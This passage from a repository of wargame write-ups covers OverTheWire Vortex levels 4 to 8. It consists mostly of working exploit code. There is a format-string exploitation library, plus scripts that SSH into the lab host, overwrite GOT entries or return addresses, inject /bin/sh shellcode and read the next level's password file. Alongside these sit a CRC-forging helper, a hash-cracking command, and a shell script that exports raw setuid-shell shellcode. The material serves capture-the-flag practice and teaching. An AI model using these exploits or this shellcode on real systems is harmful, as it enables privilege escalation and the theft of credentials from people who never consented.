-------------------------------------------------------------------------------- 1 | #include 2 | 3 | void xprintf(char* format, ...) 4 | { 5 | printf("arg0 = %p\n", &format); 6 | printf("format= %p\n", format); 7 | printf("sc = %#x\n", getenv("sc")); 8 | } 9 | 10 | int main(int argc, char** argv) { 11 | if(argc) { 12 | printf("argc is nonzero\n"); 13 | return 0; 14 | }; 15 | xprintf(argv[3]); 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/libformatstr/README.md: -------------------------------------------------------------------------------- 1 | libformatstr.py 2 | ==================== 3 | 4 | Small script to simplify format string exploitation. 5 | 6 | Usage 7 | --------------------- 8 | 9 | * Case 1 - replace one dword: 10 | 11 | ```python 12 | import sys 13 | from libformatstr import FormatStr 14 | 15 | addr = 0x08049580 16 | system_addr = 0x080489a3 17 | 18 | p = FormatStr() 19 | p[addr] = system_addr 20 | 21 | # buf is 14th argument, 4 bytes are already printed 22 | sys.stdout.write( p.payload(14, start_len=4) ) 23 | ``` 24 | 25 | * Case 2 - put ROP code somewhere: 26 | 27 | ```python 28 | import sys 29 | from libformatstr import FormatStr 30 | 31 | addr = 0x08049580 32 | rop = [0x080487af, 0x0804873c, 0x080488de] 33 | p = FormatStr() 34 | p[addr] = rop 35 | 36 | sys.stdout.write( p.payload(14) ) 37 | ``` 38 | 39 | * Case 3 - guess argument number and padding: 40 | 41 | ```python 42 | import sys 43 | from libformatstr import FormatStr 44 | 45 | # let's say we have do_fmt function, 46 | # which gives us only output of format string 47 | # (you can also just copy fmtstr and output manually) 48 | 49 | buf_size = 250 # fix buf_size to avoid offset variation 50 | res = do_fmt(make_pattern(buf_size)) 51 | argnum, padding = guess_argnum(res, buf_size) 52 | 53 | # of course you can use it in payload generation 54 | 55 | p = FormatStr(buf_size) 56 | p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\xfe" # yes, you can also put strings 57 | 58 | sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already 59 | ``` 60 | 61 | About 62 | --------------------- 63 | 64 | Author: hellman ( hellman1908@gmail.com ) 65 | 66 | License: GNU General Public License v2 (http://opensource.org/licenses/gpl-2.0.php) 67 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/libformatstr/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | #-*- coding:utf-8 -*- 3 | 4 | from .core import FormatStr 5 | from .pattern import * 6 | from .guess import * 7 | from .fmtemul import * -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/libformatstr/core.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | #-*- coding:utf-8 -*- 3 | 4 | import re 5 | import sys 6 | import struct 7 | import operator 8 | 9 | #TODO: group the same words? (need markers) (or they can be displaced without noticing it) 10 | 11 | # INPUT for setitem: 12 | # Address: 13 | # Int/long: 0x08049580 14 | # Packed: "\x80\x95\x04\x08" 15 | # Value: 16 | # Int/long: 0xdeadbeef 17 | # Word(0xdead) 18 | # Packed: "\xef\xbe\xad\xde\xce\xfa\xad\xde" 19 | # List of values above: [0xdeadbeef, "sc\x00\x00", "test", Word(0x1337)] 20 | 21 | class FormatStr: 22 | def __init__(self, buffer_size=0): 23 | self.mem = {} 24 | self.buffer_size = buffer_size 25 | self.parsers = { 26 | list: self._set_list, 27 | str: self._set_str, 28 | int: self._set_dword, 29 | long: self._set_dword, 30 | Word: self._set_word, 31 | Byte: self._set_byte 32 | } 33 | 34 | def __setitem__(self, addr, value): 35 | addr_type = type(addr) 36 | if addr_type in (int, long): 37 | addr = addr % (1 << 32) 38 | elif addr_type == str: 39 | addr = struct.unpack("> (i * 8)) % (1 << 8) 68 | return addr + 4 69 | 70 | def _set_word(self, addr, value): 71 | for i in xrange(2): 72 | self.mem[addr + i] = (int(value) >> (i * 8)) % (1 << 8) 73 | return addr + 2 74 | 75 | def _set_byte(self, addr, value): 76 | self.mem[addr] = int(value) % (1 << 8) 77 | return addr + 1 78 | 79 | def payload(self, *args, **kwargs): 80 | gen = PayloadGenerator(self.mem, self.buffer_size) 81 | return gen.payload(*args, **kwargs) 82 | 83 | 84 | class PayloadGenerator: 85 | def __init__(self, mem, buffer_size): 86 | """ 87 | Make tuples like (address, word/dword, value), sorted by value. 88 | Trying to avoid null byte by using preceding address in the case. 89 | """ 90 | self.mem = mem 91 | self.buffer_size = buffer_size 92 | 93 | self.tuples = [] 94 | self.addrs = list(sorted(mem.keys())) # addresses of each byte to set 95 | 96 | addr_index = 0 97 | while addr_index < len(self.addrs): 98 | addr = self.addrs[addr_index] 99 | addr = self.check_nullbyte(addr) 100 | 101 | dword = 0 102 | for i in range(4): 103 | if addr + i not in self.mem: 104 | dword = -1 105 | break 106 | dword |= self.mem[addr + i] << (i * 8) 107 | 108 | if 0 <= dword < (1 << 16): 109 | self.tuples.append( (addr, 4, dword) ) 110 | if self.addrs[addr_index + 2] == addr + 3: 111 | addr_index += 3 # backstepped 112 | elif self.addrs[addr_index + 3] == addr + 3: 113 | addr_index += 4 114 | else: 115 | raise ValueError("Unknown error. Missing bytes") 116 | continue 117 | 118 | word = 0 119 | for i in range(2): 120 | if addr + i not in self.mem: 121 | word = -1 122 | break 123 | word |= self.mem[addr + i] << (i * 8) 124 | 125 | if 0 <= word < (1 << 16): 126 | self.tuples.append( (addr, 2, word) ) 127 | if self.addrs[addr_index] == addr + 1: 128 | addr_index += 1 # backstepped 129 | elif self.addrs[addr_index + 1] == addr + 1: 130 | addr_index += 2 131 | else: 132 | raise ValueError("Unknown error. Missing bytes") 133 | continue 134 | else: 135 | if addr_index > 0: 136 | addr_index -= 1 # can't fit one byte, backstepping 137 | else: 138 | raise ValueError("Can't fit words. (Probably single 1-byte set?).") 139 | 140 | self.tuples.sort(key=operator.itemgetter(2)) 141 | return 142 | 143 | def check_nullbyte(self, addr): 144 | if "\x00" in struct.pack(" 2: 169 | payload += "%" + str(print_len) + "c" 170 | elif print_len >= 0: 171 | payload += "A" * print_len 172 | else: 173 | warning("Can't write a value %08x (too small)." % value) 174 | continue 175 | 176 | payload += "%" + str(index) + "$" + ("h" if size == 2 else "") + "n" 177 | addrs += struct.pack(">sys.stderr, "WARNING:", s 211 | 212 | def tuples_sorted_by_values(adict): 213 | """Return list of (key, value) pairs of @adict sorted by values.""" 214 | return sorted(adict.items(), lambda x, y: cmp(x[1], y[1])) 215 | 216 | def tuples_sorted_by_keys(adict): 217 | """Return list of (key, value) pairs of @adict sorted by keys.""" 218 | return [(key, adict[key]) for key in sorted(adict.keys())] 219 | 220 | def main(): 221 | # Usage example 222 | addr = 0x08049580 223 | rop = [0x080487af, 0x0804873c, 0x080488de] 224 | p = FormatStr() 225 | p[addr] = rop 226 | 227 | # buf is 14th argument, 3 bytes padding 228 | pay = p.payload(14, 3) 229 | sys.stdout.write(pay) -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/libformatstr/fmtemul.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | #-*- coding:utf-8 -*- 3 | 4 | import re 5 | import sys 6 | import struct 7 | 8 | def fmtemul(fmt, argnum, padding=0, start_len=0, debug=0): 9 | log = [] 10 | writes = [] 11 | 12 | count = start_len 13 | cursor = fmt 14 | while cursor: 15 | m = re.match(r"^%(\d+)[cdx]", cursor) 16 | if m: 17 | count += int(m.group(1)) 18 | cursor = cursor[len(m.group(0)):] 19 | 20 | log.append( ("output+", int(m.group(1)), count) ) 21 | if debug: print "output+", hex(int(m.group(1))), "=", hex(count) 22 | continue 23 | 24 | m = re.match(r"^%(\d+)\$hn", cursor) 25 | if m: 26 | num = int(m.group(1)) 27 | index = padding + (num - argnum) * 4 28 | try: 29 | addr = struct.unpack(" 1: 67 | lst = [sys.argv[1]] + map(int, sys.argv[2:]) 68 | fmtprint(*lst) 69 | else: 70 | print "Usage: fmtemul formatstr argnum [padding=0 [start_len=0]]" -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/libformatstr/guess.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | #-*- coding:utf-8 -*- 3 | 4 | from .pattern import * 5 | import sys 6 | 7 | def guess_argnum(result, buffer_size, start_index=1): 8 | pattern_size = buffer_size // 8 9 | pat = msfpattern(pattern_size * 4) 10 | if result[:len(pat)] != pat: 11 | return None 12 | result = result[len(pat):].replace("(nil)", "0x00000000").rstrip("X") 13 | 14 | parts = result.split("0x")[1:] 15 | for i, p in enumerate(parts): 16 | p = p.rjust(8, "0").decode("hex")[::-1] 17 | if p in pat: 18 | block_index = pat.find(p) 19 | padding = block_index % 4 20 | 21 | argnum = start_index + i * (pattern_size - 1) 22 | argnum -= block_index // 4 23 | return argnum, padding 24 | return None 25 | 26 | if __name__ == "__main__": 27 | if len(sys.argv) > 1: 28 | lst = [sys.argv[1]] + map(int, sys.argv[2:]) 29 | t = guess_argnum(*lst) 30 | if t: 31 | print "argnum:", t[0] 32 | print "padding:", t[1] 33 | else: 34 | print "Can't determing argnum!" 35 | else: 36 | print "Usage: guess result_str buffer_size [start_index=1]" -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/libformatstr/pattern.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | #-*- coding:utf-8 -*- 3 | 4 | import sys 5 | 6 | def msfpattern(n): 7 | """msfpattern-like patterns""" 8 | def inc(alphas, indexes, i): 9 | indexes[i % 3] += 1 10 | if indexes[i % 3] >= len(alphas[i % 3]): 11 | indexes[i % 3] = 0 12 | inc(alphas, indexes, i-1) 13 | return 14 | 15 | alphas = ["ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz", "0123456789"] 16 | indexes = [0] * len(alphas) 17 | 18 | chars = [] 19 | for i in range(n): 20 | chars.append(alphas[i % 3][indexes[i % 3]]) 21 | if i % 3 == 2: 22 | inc(alphas, indexes, i) 23 | return "".join(chars) 24 | 25 | def make_pattern(buffer_size, start_index=1, max_index=500): 26 | format_size = buffer_size // 2 27 | pattern_size = buffer_size // 8 28 | 29 | index = start_index 30 | payload = msfpattern(pattern_size * 4) 31 | while True: 32 | fmt = "%" + str(index) + "$p" 33 | if len(payload) + len(fmt) > buffer_size: 34 | break 35 | payload += fmt 36 | index += pattern_size - 1 37 | if index > max_index: 38 | break 39 | return payload.ljust(buffer_size, "X") 40 | 41 | if __name__ == "__main__": 42 | if len(sys.argv) > 1: 43 | sys.stdout.write( make_pattern(*map(int, sys.argv[1:])) ) 44 | else: 45 | print "Usage: pattern buffer_size [start_index=1 [max_index=500]]" -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/vortex4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level4/vortex4 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level4/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | from libformatstr import FormatStr 5 | #from funcy import silent 6 | 7 | context(arch='i386',os='linux',timeout=2) 8 | 9 | level = 4 10 | host = 'vortex.labs.overthewire.org' 11 | user = 'vortex%i' % level 12 | chal = 'vortex%i' % level 13 | password = args['PASSWORD'] 14 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 15 | binary = '/vortex/%s' % chal 16 | shell = ssh(host=host, user=user, password=password) 17 | 18 | # Download the binary for loading ELF information 19 | if not os.path.exists(chal): 20 | shell.download_file(binary) 21 | os.chmod(chal, 0755) 22 | 23 | # 24 | # Upload our Python sript for executing with a controlled 25 | # environment and argc==0. 26 | # 27 | shell.set_working_directory() 28 | shell.upload_file('exec.py') 29 | 30 | # 31 | # Helper routine to execute the above script, 32 | # with ASLR disabled, and get the output. 33 | # 34 | def execute_with_env(format, padding, binary=binary): 35 | cmd = "python exec.py $%(format)r %(padding)r %(binary)r" 36 | return shell.run(cmd % locals()) 37 | 38 | # 39 | # Manually discover the offset of the argument we're looking for 40 | # 41 | # Dump the stack, until our format string is properly 42 | # aligned on a 4-byte boundary. Use '%x' to dump the 43 | # stack to see this, and adjust the alignment with the 44 | # environment variable that follows our format string. 45 | # 46 | offset = 0 47 | padding = -1 48 | stack_dump = '%4x\n'*0x100 49 | result = '' 50 | XXXX = enhex('XXXX') 51 | while not offset: 52 | padding += 1 53 | result = execute_with_env(stack_dump, padding).recvall() 54 | lines = result.splitlines() 55 | 56 | if XXXX in lines: 57 | offset = lines.index(XXXX) 58 | 59 | log.info("Need padding: %s" % padding) 60 | log.info("Found offset: %s" % offset) 61 | 62 | # We can execute on the stack. 63 | # In order to do that, we need to know where on the stack our 64 | # buffer is in absolute terms. 65 | # 66 | # A small helper program is uploaded and compiled, which prints 67 | # out relevant addresses. 68 | shell.upload_file('leak.c') 69 | shell.gcc('-m32 leak.c -o leak') 70 | 71 | result = execute_with_env(stack_dump, padding, './leak').recvall().strip() 72 | log.info("Stack leaker says:\n%s" % result) 73 | exec(result) # creates 'sc' 74 | 75 | 76 | # Adjust the offset to account for arg0 being the format 77 | # string, and the 'XXXX' that we want to skip over. 78 | # And then one more for good measure, which I don't understand. 79 | offset += 2 80 | 81 | # Now that we know the offsets on the stack, we can generate 82 | # our format string exploit. 83 | # 84 | # Note that start_len=2 because of 'c=' that is printed. 85 | e = ELF(chal) 86 | f = FormatStr() 87 | f[e.got['exit']]=sc 88 | 89 | payload = f.payload(offset, start_len= len('c=XXXX')) 90 | payload += cyclic(len(stack_dump) - len(payload)) 91 | 92 | log.info("Payload created, sending exploit") 93 | 94 | remote = execute_with_env(payload, padding) 95 | remote.clean(2) 96 | 97 | remote.sendline('id') 98 | log.success(remote.recv().strip()) 99 | remote.sendline('cat %s' % passfile) 100 | password = remote.recv().strip() 101 | log.success('Password: %s' % password) 102 | 103 | print password 104 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level5/README.md: -------------------------------------------------------------------------------- 1 | # Vortex5 2 | 3 | Hash cracking exercise. Probably the fastest way to do this is with oclHashcat. 4 | 5 | ``` 6 | cudaHashcat64.exe -a3 155fb95d04287b757c996d77b5ea51f7 ?a?a?a?a?a 7 | ``` -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level5/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Starting SSH connection to "vortex.labs.overthewire.org": Done 2 | [!] SSH key could not be validated 3 | [+] Opening new channel: '/vortex/vortex5': Done 4 | [+] id: Password: uid=5006(vortex6) gid=5005(vortex5) groups=5006(vortex6),5005(vortex5) 5 | [+] password: -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level5/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | 5 | level = 5 6 | host = 'vortex.labs.overthewire.org' 7 | user = 'vortex%i' % level 8 | chal = 'vortex%i' % level 9 | password = args['PASSWORD'] 10 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 11 | binary = '/vortex/%s' % chal 12 | shell = ssh(host=host, user=user, password=password) 13 | 14 | 15 | sh = shell.run(binary) 16 | sh.sendline('rlTf6') 17 | 18 | sh.sendline('id') 19 | log.success('id: ' + sh.recvline().strip()) 20 | 21 | sh.sendline('cat %s' % passfile) 22 | password = sh.recvline().strip() 23 | log.success('Password: %s' % password) 24 | 25 | print password 26 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level6/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 6 2 | 3 | Program re-executes itself if there are any environment variables. 4 | 5 | The definition of 'itself' is controlled via `argv[0]` which we control, and point at `/bin/sh`. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level6/transcript.txt: -------------------------------------------------------------------------------- 1 | [+] Connecting to vortex.labs.overthewire.org on port 22: OK 2 | [*] Working directory: '/tmp/tmp.ytkJ86U95R' 3 | [*] Uploading 'exec.py' to '/tmp/tmp.ytkJ86U95R/exec.py' 4 | [+] Opening new channel: 'python exec.py /vortex/vortex6 /bin/sh': OK 5 | [+] id: uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6) 6 | [+] password: -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level6/vortex6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level6/vortex6 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level6/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | 5 | level = 6 6 | host = 'vortex.labs.overthewire.org' 7 | user = 'vortex%i' % level 8 | chal = 'vortex%i' % level 9 | password = args['PASSWORD'] 10 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 11 | binary = '/vortex/%s' % chal 12 | shell = ssh(host=host, user=user, password=password) 13 | 14 | if not os.path.exists(chal): 15 | shell.download_file(binary) 16 | os.chmod(chal, 0755) 17 | 18 | sh = shell.run(''' 19 | python -c " 20 | import sys, os 21 | os.execve(%r, ['/bin/sh'], {'a':'b'}) 22 | " 23 | ''' % binary) 24 | sh.clean(2) 25 | 26 | sh.sendline('id') 27 | log.success('id: ' + sh.recvline().strip()) 28 | 29 | sh.sendline('cat %s' % passfile) 30 | password = sh.recvline().strip() 31 | log.success('Password: %s' % password) 32 | 33 | print password 34 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level7/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 7 2 | 3 | If you can satisfy a CRC requirement, you get stack buffer overflow. 4 | 5 | Stack is executable, so we just replace the return address with a pointer to our buffer. 6 | 7 | Uses hellman's excellent `r.sh` to make the stack layout consistent between normal execution, `gdb`, `strace`, etc. 8 | 9 | ``` 10 | int main(int argc, char **argv) 11 | { 12 | char buf[58]; 13 | u_int32_t hi; 14 | if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) { 15 | strcpy(buf, argv[1]); 16 | } else { 17 | printf("0x%08x\n", hi); 18 | } 19 | } 20 | ``` -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level7/crc32.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | from struct import pack,unpack 3 | 4 | # Poly in "reversed" notation -- http://en.wikipedia.org/wiki/Cyclic_redundancy_check 5 | POLY = 0xedb88320 # CRC-32-IEEE 802.3 6 | #POLY = 0x82F63B78 # CRC-32C (Castagnoli) 7 | #POLY = 0xEB31D82E # CRC-32K (Koopman) 8 | #POLY = 0xD5828281 # CRC-32Q 9 | 10 | def build_crc_tables(): 11 | for i in range(256): 12 | fwd = i 13 | rev = i << 24 14 | for j in range(8, 0, -1): 15 | # build normal table 16 | if (fwd & 1) == 1: 17 | fwd = (fwd >> 1) ^ POLY 18 | else: 19 | fwd >>= 1 20 | crc32_table[i] = fwd & 0xffffffff 21 | # build reverse table =) 22 | if rev & 0x80000000 == 0x80000000: 23 | rev = ((rev ^ POLY) << 1) | 1 24 | else: 25 | rev <<= 1 26 | rev &= 0xffffffff 27 | crc32_reverse[i] = rev 28 | 29 | crc32_table, crc32_reverse = [0]*256, [0]*256 30 | build_crc_tables() 31 | 32 | def crc32(s): # same crc32 as in (binascii.crc32)&0xffffffff 33 | crc = 0 #0xffffffff 34 | for c in s: 35 | crc = (crc >> 8) ^ crc32_table[(crc ^ ord(c)) & 0xff] 36 | return crc #^0xffffffff 37 | 38 | def forge(wanted_crc, str, pos=None): 39 | if pos is None: 40 | pos = len(str) 41 | 42 | # forward calculation of CRC up to pos, sets current forward CRC state 43 | fwd_crc = 0 # <<<< PATCHED! 44 | for c in str[:pos]: 45 | fwd_crc = (fwd_crc >> 8) ^ crc32_table[(fwd_crc ^ ord(c)) & 0xff] 46 | 47 | # backward calculation of CRC up to pos, sets wanted backward CRC state 48 | bkd_crc = wanted_crc #^0xffffffff # <<<< PATCHED! 49 | for c in str[pos:][::-1]: 50 | bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord(c) 51 | 52 | # deduce the 4 bytes we need to insert 53 | for c in pack('> 24] ^ ord(c) 55 | 56 | res = str[:pos] + pack('> 8) ^ crc32_table[(crc ^ ord(c)) & 0xff] 13 | - return crc^0xffffffff 14 | + return crc #^0xffffffff 15 | 16 | def forge(wanted_crc, str, pos=None): 17 | if pos is None: 18 | pos = len(str) 19 | 20 | # forward calculation of CRC up to pos, sets current forward CRC state 21 | - fwd_crc = 0xffffffff 22 | + fwd_crc = 0 # <<<< PATCHED! 23 | for c in str[:pos]: 24 | fwd_crc = (fwd_crc >> 8) ^ crc32_table[(fwd_crc ^ ord(c)) & 0xff] 25 | 26 | # backward calculation of CRC up to pos, sets wanted backward CRC state 27 | - bkd_crc = wanted_crc^0xffffffff 28 | + bkd_crc = wanted_crc #^0xffffffff # <<<< PATCHED! 29 | for c in str[pos:][::-1]: 30 | bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ ord(c) 31 | 32 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level7/r.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # fixenv - A script to make stack addresses sane 4 | # https://github.com/hellman/fixenv 5 | # Copyright (C) 2014 hellman 6 | # 7 | # This program is free software; you can redistribute it and/or 8 | # modify it under the terms of the GNU General Public License 9 | # as published by the Free Software Foundation; either version 2 10 | # of the License, or (at your option) any later version. 11 | 12 | export SC=$'\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80' 13 | export PWD=`pwd` 14 | 15 | IFS=" " 16 | unsetenv=(`echo -n 'env -u SSH_CLIENT -u SSH_TTY -u USER -u MAIL -u SSH_CONNECTION -u LOGNAME -u HOME -u LANG -u _ -u TERM COLUMNS=157 LINES=32'`) 17 | envlist=() 18 | fname="" 19 | # "CMD=sh" "ADDR=`perl -e 'print pack("V", 0x1672a0)'`" 20 | 21 | # ----------------------------------------------------- 22 | # put envorder.c source 23 | # ----------------------------------------------------- 24 | function put_envorder_source { 25 | cat > .envorder.c < 27 | #include 28 | extern char ** environ; 29 | int main(int argc, char *argv[]) { 30 | int i,j; 31 | FILE * fd = fopen(".gdblist", "w"); 32 | for (i = 0; environ[i] != NULL; i++) { 33 | unsigned char *q, *p; 34 | p = strchr(environ[i],(int)'='); 35 | q = environ[i]; 36 | while (q != p) 37 | fprintf(fd, "\\\\x%02x", *q++); 38 | q++; 39 | fprintf(fd, "="); 40 | while (*q) 41 | fprintf(fd, "\\\\x%02x", *q++); 42 | fprintf(fd, "\\\\x0a\n"); 43 | } 44 | fclose(fd); 45 | return 0; 46 | } 47 | EOF 48 | } 49 | 50 | 51 | # ----------------------------------------------------- 52 | # put getvar.c source 53 | # ----------------------------------------------------- 54 | function put_getvar_source { 55 | cat > .getvar.c < 57 | #include 58 | void printvar(char * p, char * varname) { 59 | unsigned char *q; 60 | q = (unsigned char *)&p; 61 | printf("%p \\\\x%02x\\\\x%02x\\\\x%02x\\\\x%02x (%s)\\n", p, *q, *(q+1), *(q+2), *(q+3), varname); 62 | } 63 | int main(int argc, char *argv[], char *env[]) { 64 | if (argc == 2) { 65 | printvar((char*)getenv(argv[1]), argv[1]); 66 | } else { 67 | int i; 68 | char *p; 69 | for (i = 0; env[i] != NULL; i++) { 70 | p = strchr(env[i], (int)'='); 71 | if (p) { 72 | *p++ = 0; 73 | printvar(p, env[i]); 74 | } 75 | } 76 | } 77 | return 0; 78 | } 79 | EOF 80 | } 81 | 82 | 83 | # ----------------------------------------------------- 84 | # put dump.c source 85 | # ----------------------------------------------------- 86 | function put_dump_source { 87 | cat > .dump.c < 89 | #include 90 | #include 91 | #include 92 | #include 93 | 94 | #define DEFAULT_SIZE 0x200 95 | 96 | int main (int argc, char* argv[], char *env[]) { 97 | unsigned char *p, *c, *start, *end; 98 | start = (void *) ((unsigned int)argv & 0xfffff000); 99 | end = start + 0x1000; 100 | start = end - DEFAULT_SIZE; 101 | 102 | if (argc >= 2) 103 | sscanf(argv[1], "%p", &start); 104 | if (argc >= 3) 105 | end = start + abs(atoi(argv[2])); 106 | fprintf(stderr, "From %p to %p\n", start, end); 107 | for (p = start; p < end; p += 16) { 108 | printf("%08x ", p); 109 | for (c = p; c < p+16; c++) 110 | printf("%s%02x", (((unsigned int)c & 0x1) ? "" : " "), *c); 111 | printf(" "); 112 | for (c = p; c < p+16; c++) 113 | printf("%c", (isprint(*c) ? *c : '.')); 114 | printf("\n"); 115 | } 116 | return 0; 117 | } 118 | EOF 119 | } 120 | 121 | 122 | # ----------------------------------------------------- 123 | # prints env-variable(s) address in memory 124 | # ----------------------------------------------------- 125 | function getvar { 126 | if [ ! -f ".getvar.c" ]; then 127 | put_getvar_source 128 | rm -f .getvar 129 | fi 130 | if [ ! -f ".getvar" ]; then 131 | gcc .getvar.c -o .getvar 132 | fi 133 | runprog "./.getvar" "${@:1}" 134 | } 135 | 136 | 137 | # ----------------------------------------------------- 138 | # prints env-variable(s) address in memory 139 | # ----------------------------------------------------- 140 | function dump { 141 | if [ ! -f ".dump.c" ]; then 142 | put_dump_source 143 | rm -f .dump 144 | fi 145 | if [ ! -f ".dump" ]; then 146 | gcc .dump.c -o .dump 147 | fi 148 | runprog "./.dump" "${@:1}" 149 | } 150 | 151 | 152 | # ----------------------------------------------------- 153 | # gets env-vars, ordered as env-vars in gdb 154 | # resulting array is in envlist (global) 155 | # ----------------------------------------------------- 156 | function getenvs { 157 | if [ ! -f ".envorder.c" ]; then 158 | put_envorder_source 159 | rm -f .envorder 160 | fi 161 | if [ ! -f ".envorder" ]; then 162 | gcc .envorder.c -o .envorder 163 | fi 164 | IFS="" 165 | "${unsetenv[@]}" gdb "`pwd`/.envorder" >/dev/null 2>&1 < -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level7/vortex7: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gallopsled/pwntools-write-ups/b7160403288a2d5273e89f115545a4f7fecf32af/wargames/overthewire-vortex/level7/vortex7 -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level7/win.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | from pwn import * 4 | from crc32 import forge, crc32 5 | context(arch = 'i386', os = 'linux') 6 | 7 | level = 7 8 | host = 'vortex.labs.overthewire.org' 9 | user = 'vortex%i' % level 10 | chal = 'vortex%i' % level 11 | password = args['PASSWORD'] 12 | passfile = '/etc/vortex_pass/vortex%i' % (level+1) 13 | binary = '/vortex/%s' % chal 14 | shell = ssh(host=host, user=user, password=password) 15 | 16 | if not os.path.exists(chal): 17 | shell.download_file(binary) 18 | os.chmod(chal, 0755) 19 | 20 | # Use hellman's script to fix stack inconsitencies 21 | # between GDB and not-GDB that make this a pain in 22 | # the ass to debug. 23 | shell.set_working_directory() 24 | shell.upload_file('r.sh') 25 | 26 | # 27 | # We find out ESP by running in GDB below 28 | # 29 | esp = 0xffffdc5c 30 | sc = cyclic(0x100) 31 | 32 | # If we just let it crash by not patching out any values, 33 | # we see that the register state looks like this: 34 | # 35 | # EBP: 0x61736161 (b'aasa') 36 | # EIP: 0x61746161 (b'aata') 37 | # 38 | # Shellcode would be aftter that ('aaua') 39 | sc = sc.replace('aasa', p32(esp + 0)) # EBP 40 | sc = sc.replace('aata', p32(esp + 4)) # EIP 41 | 42 | # Add in our '/bin/sh' shellcode 43 | sc = sc.replace('aaua', asm(shellcraft.sh())) 44 | forged = forge(0xe1ca95ee, sc) 45 | 46 | # 47 | # Find out ESP with this, by setting a breakpoint on 48 | # 080484EC and examining ESP. 49 | # 50 | # gdb = shell.run("bash r.sh gdb %s $'%s'" % (binary, forged)) 51 | # gdb.send(""" 52 | # set prompt 53 | # break *0x080484EC 54 | # run 55 | # """) 56 | # gdb.clean(2) 57 | # gdb.sendline('printf "%p\\n",$sp') 58 | # esp = gdb.recv().strip() 59 | # log.info("ESP: %s" % esp) 60 | # gdb.sendline('kill') 61 | # gdb.sendline('quit') 62 | # 63 | 64 | # Boom 65 | sh = shell.run("bash r.sh %s $'%s'" % (binary, forged)) 66 | 67 | sh.sendline('id') 68 | log.success('id: ' + sh.recvline().strip()) 69 | 70 | sh.sendline('cat %s' % passfile) 71 | password = sh.recvline().strip() 72 | log.success('Password: %s' % password) 73 | 74 | print password 75 | -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level8/README.md: -------------------------------------------------------------------------------- 1 | # Vortex 8 2 | 3 | Turns out `setresuid` and company are thread-specific. This challenge exercises that. 4 | 5 | The unprivileged thread is vulnerable to a stack-buffer overflow. We leverage this to swap out the GOT entry for `_sleep` with a pointer to our shellcode, then call `_exit`. When the second thread attempts to sleep next, it executes the second stage. 6 | 7 | Yet again, this script uses hellman's excellent `r.sh` so that we can just script GDB to print out stack addresses for us and automate. -------------------------------------------------------------------------------- /wargames/overthewire-vortex/level8/r.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # fixenv - A script to make stack addresses sane 4 | # https://github.com/hellman/fixenv 5 | # Copyright (C) 2014 hellman 6 | # 7 | # This program is free software; you can redistribute it and/or 8 | # modify it under the terms of the GNU General Public License 9 | # as published by the Free Software Foundation; either version 2 10 | # of the License, or (at your option) any later version. 11 | 12 | ulimit -c unlimited 13 | ulimit -s unlimited 14 | 15 | export 